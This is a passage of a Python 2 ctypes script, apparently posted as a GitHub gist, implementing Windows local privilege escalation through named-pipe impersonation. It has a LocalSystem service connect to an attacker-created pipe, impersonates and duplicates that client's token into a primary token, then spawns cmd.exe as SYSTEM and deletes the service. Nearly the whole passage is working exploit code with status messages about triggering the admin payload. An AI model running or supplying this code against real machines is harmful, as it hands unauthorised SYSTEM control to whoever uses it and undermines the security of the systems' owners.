PIPE_UNLIMITED_INSTANCES, # _In_ nMaxInstances The maximum number of instances that can be created for this pipe.
0, # _In_ nOutBufferSize The number of bytes to reserve for the output buffer.
0, # _In_ nInBufferSize The number of bytes to reserve for the input buffer.
0, # _In_ nDefaultTimeOut The default time-out value, in milliseconds.
None) # _In_opt_ lpSecurityAttributes If lpSecurityAttributes is NULL, the named pipe gets a default security descriptor and the handle cannot be inherited.
if not hPipe:
raise RuntimeError("Error while creating our named pipe using CreateNamedPipe: %S" %GetLastError())
print "[*] Creating our Named Pipe"
CALLBACK = CFUNCTYPE(None, POINTER(c_int))
RunService = CALLBACK(Service)
print r'''[*] Running the Service() function in another thread and waiting for cmd.exe to send some data at the end of the pipe
\\ in the security context of the LocalSystem Account in order to impersonate it's access token'''
knacrack420forecsc = CreateThread( # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682516(v=vs.85).aspx
None, # _In_opt_ lpThreadAttributes If lpThreadAttributes is NULL, the thread gets a default security descriptor.
0, # _In_ dwStackSize The initial size of the stack, in bytes. The system rounds this value to the nearest page. If this parameter is zero, the new thread uses the default size for the executable.
RunService, # _In_ lpStartAddress A pointer to the application-defined function to be executed by the thread. This pointer represents the starting address of the thread.
None, # _In_opt_ lpParameter A pointer to a variable to be passed to the thread.
0, # _In_ dwCreationFlag The flags that control the creation of the thread in our case 0-> The thread runs immediately after creation.
None) # _Out_opt_ lpThreadId A pointer to a variable that receives the thread identifier. If this parameter is NULL, the thread identifier is not returned.
if not knacrack420forecsc:
raise RuntimeError("Error while Creating thread in the virtual space of the current process to mimick a client/server interaction like a multi-thread named pipe server using CreateThread %s:" %GetLastError())
CloseHandle(knacrack420forecsc) # _In_ hObject A valid handle to an open object
knacrack69 = ConnectNamedPipe(
hPipe, # _In_ hNamedPipe A handle to the server end of a named pipe instance.
None) # _Inout_opt lpOverlapped If hNamedPipe was not opened with FILE_FLAG_OVERLAPPED, the function does not return until a client is connected or an error occurs.
if not knacrack69:
raise RuntimeError("Error while waiting the client to trigger a connection in the Named Pipe using ConnectNamedPipe: %s" %GetLastError())
print "[*] Connecting Named Pipe"
ReadFile(
hPipe, # _In_ hFile A handle to the device eg: pipe
0, # _Out_ lpBuffer A pointer to the buffer that receives the data read from a file or device.
0, # _In_ nNumberOfBytesToRead The maximum number of bytes to be read.
None, # _Out_opt_ lpNumberOfBytesRead A pointer to the variable that receives the number of bytes read when using a synchronous hFile parameter. Use NULL for this parameter if this is an asynchronous operation to avoid potentially erroneous results.
None) # _Inout_opt lpOverlapped A pointer to an OVERLAPPED structure is required if the hFile parameter was opened with FILE_FLAG_OVERLAPPED, otherwise it can be NULL.
print "\t[+] Receiving payload"
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa365573(v=vs.85).aspx
knacrackulluxklan = ImpersonateNamedPipeClient(hPipe) # _In_ hNamedPipe A handle to a named pipe.
if not knacrackulluxklan:
raise RuntimeError("Error while impersonating the access token at the end of the pipe using ImpersonateNamedPipeClient: %s" %GetLastError())
print "[*] Impersonating the client's security context"
hToken = HANDLE(INVALID_HANDLE_VALUE)
knacrackackac = OpenThreadToken(
GetCurrentThread(), # _In_ ThreadHandle A handle to the thread whose access token is opened.
TOKEN_ALL_ACCESS, # _In_ DesiredAccess Specifies an access mask that specifies the requested types of access to the access token.
False, # _In_ OpenAsSelf TRUE if the access check is to be made against the process-level security context.
byref(hToken)) # _In_ TokenHandle A pointer to a variable that receives the handle to the newly opened access token.
if not knacrackackac:
raise RuntimeError("Error while opening our thread's token using OpenThreadToken: %s" %GetLastError())
print "\t[+] Opening our current process's thread token"
hPrimaryToken = HANDLE(INVALID_HANDLE_VALUE)
if not DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, None, SECURITY_IMPERSONATION_LEVEL.SecurityDelegation, TOKEN_TYPE.TokenPrimary, byref(hPrimaryToken)): # try SecurityDelegation first
knacrak = DuplicateTokenEx(
hToken, # _In_ hExistingToken A handle to an access token opened with TOKEN_DUPLICATE access.
TOKEN_ALL_ACCESS, # _In_ dwDesiredAccess Specifies the requested access rights for the new token.
None, # _In_opt_ lpTokenAttributes If lpTokenAttributes is NULL, the token gets a default security descriptor and the handle cannot be inherited.
SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, # _In_ ImpersonationLevel Specifies a value from the SECURITY_IMPERSONATION_LEVEL enumeration that indicates the impersonation level of the new token.
TOKEN_TYPE.TokenPrimary, # _In_ TokenType The new token is a primary token.
byref(hPrimaryToken)) # _Out_ phNewToken A pointer to a HANDLE variable that receives the new token.
if not knacrak:
raise RuntimeError("Error while trying to convert the impersonation token into a primary token using DuplicateTokenEx: %s" %GetLastError())
print "\t[+] Converting impersonation token into a primary token"
CMDPath = create_unicode_buffer(1024)
GetEnvironmentVariable(
u"COMSPEC", # _In_opt_ lpName The name of the environment variable.
CMDPath, # _Out_opt_ lpBuffer A pointer to a buffer that receives the contents of the specified environment variable as a null-terminated string.
1024) # _In_ nSize The size of the buffer pointed to by the lpBuffer parameter, including the null-terminating character, in characters.
lpStartupInfo = STARTUPINFO()
lpStartupInfo.cb = sizeof(lpStartupInfo)
lpProcessInformation = PROCESS_INFORMATION()
lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW
lpStartupInfo.wShowWindow = SW_SHOW
lpApplicationName = CMDPath.value
if not advapi32.CreateProcessAsUserA(hPrimaryToken, None, lpApplicationName, None, None, False, 0, None, None, byref(lpStartupInfo), byref(lpProcessInformation)):
knacracklov3 = CreateProcessWithToken(
hPrimaryToken, # _In_ hToken A handle to the primary token that represents a user. The handle must have the TOKEN_QUERY, TOKEN_DUPLICATE, and TOKEN_ASSIGN_PRIMARY access rights. To get a primary token that represents the specified user, call the DuplicateTokenEx function to convert an impersonation token into a primary token.
LOGON_NETCREDENTIALS_ONLY, # _In_ dwLogonFlags Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.
lpApplicationName, # _In_opt_ lpApplicationName The name of the module to be executed.
None, # _Inout_opt lpCommandLine The command line to be executed.
CREATE_NEW_CONSOLE, # _In_ dwCreationFlagg The flags that control how the process is created.
None, # _In_opt_ lpEnvironment A pointer to an environment block for the new process. If this parameter is NULL, the new process uses an environment created from the profile of the user specified by lpUsername.
None, # _In_opt_ dwCreationFlags The flags that control how the process is created. The new process has a new console, instead of inheriting the parent's console. This flag cannot be used with the DETACHED_PROCESS flag.
byref(lpStartupInfo), # _In_ lpStartupInfo A pointer to a STARTUPINFO structure.
byref(lpProcessInformation)) # _Out_ lpProcessInfo A pointer to a PROCESS_INFORMATION structure that receives identification information for the new process, including a handle to the process.
if knacracklov3 == 0:
raise RuntimeError("Error while triggering admin payload using CreateProcessWithToken: %s" %GetLastError())
print "[*] Triggering payload with specified token PID:", lpProcessInformation.dwProcessId
Deleteservice()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment